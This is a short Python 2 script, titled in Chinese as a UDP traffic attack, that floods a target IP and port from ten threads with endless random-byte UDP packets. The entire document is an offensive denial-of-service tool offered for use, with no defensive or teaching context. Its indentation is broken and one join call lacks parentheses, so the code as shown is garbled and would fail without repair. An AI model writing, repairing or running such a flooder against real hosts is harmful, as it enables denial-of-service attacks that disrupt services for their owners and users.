UDP 流量攻击

#!/bin/env python
#-*- coding:utf-8 -*-

import socket
import threading
import random
import sys

class attack(threading.Thread):
    def __init__(self, ip, port, psize):
    threading.Thread.__init__(self)
    #super(attack, self).__init__()
    self.ip = ip
    self.port = port
    self.psize = psize

    def run(self):
    print "Thread initiated, flooding" + self.ip + ":" + str(self.port) + "."
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(self.psize)
    while True:
        sock.sendto(bytes, (self.ip, self.port))


if __name__ == "__main__":
    THD = 10
    ths = []
    ip = sys.argv[1]
    port = int(sys.argv[2])
    psize = int(sys.argv[3])
    for i in range(THD):
    ths.append(attack(ip, port, psize))
    ths[-1].start()

    for i in ths:
    i.join